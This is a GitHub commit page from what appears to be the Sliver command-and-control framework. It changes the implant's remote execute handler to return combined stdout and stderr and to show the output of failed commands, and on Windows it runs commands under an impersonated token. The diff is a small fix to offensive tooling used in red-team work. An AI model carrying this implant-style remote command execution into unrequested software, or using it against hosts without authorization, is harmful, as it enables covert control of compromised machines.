Skip to content

Commit

Permalink
Get output for commands in error.
Browse files Browse the repository at this point in the history
- This includes stderr output for commands, fixing #293.
- This includes showing output (if available) for failed commends,
  fixing #294.
  • Loading branch information
Matir committed Nov 19, 2020
1 parent 02751d8 commit 9f2d3a1
Show file tree
Hide file tree
Showing 2 changed files with 8 additions and 9 deletions.
3 changes: 3 additions & 0 deletions client/command/execute.go
Original file line number Diff line number Diff line change
Expand Up @@ -49,6 +49,9 @@ func execute(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
})
if err != nil {
fmt.Printf(Warn+"%s", err)
if exec != nil && exec.Result != "" {
fmt.Printf(Warn+"Output:\n%s\n", exec.Result)
}
} else if !output {
fmt.Printf(Info+"Output:\n%s\n", exec.Result)
}
Expand Down
14 changes: 5 additions & 9 deletions sliver/handlers/generic-rpc-handlers.go
Original file line number Diff line number Diff line change
Expand Up @@ -486,7 +486,6 @@ func ifconfig() *sliverpb.Ifconfig {
func executeHandler(data []byte, resp RPCResponse) {
var (
err error
cmd *exec.Cmd
)
execReq := &sliverpb.ExecuteReq{}
err = proto.Unmarshal(data, execReq)
Expand All @@ -496,30 +495,27 @@ func executeHandler(data []byte, resp RPCResponse) {
// {{end}}
return
}

execResp := &sliverpb.Execute{}
if len(execReq.Args) != 0 {
cmd = exec.Command(execReq.Path, execReq.Args...)
} else {
cmd = exec.Command(execReq.Path)
}
cmd := exec.Command(execReq.Path, execReq.Args...)

//{{if eq .Config.GOOS "windows"}}
cmd.SysProcAttr = &windows.SysProcAttr{
Token: syscall.Token(priv.CurrentToken),
}
//{{end}}

if execReq.Output {
res, err := cmd.Output()
res, err := cmd.CombinedOutput()
//{{if .Config.Debug}}
log.Println(string(res))
//{{end}}
if err != nil {
execResp.Response = &commonpb.Response{
Err: fmt.Sprintf("%s", err),
}
} else {
execResp.Result = string(res)
}
execResp.Result = string(res)
} else {
err = cmd.Start()
if err != nil {
Expand Down

0 comments on commit 9f2d3a1

Please sign in to comment.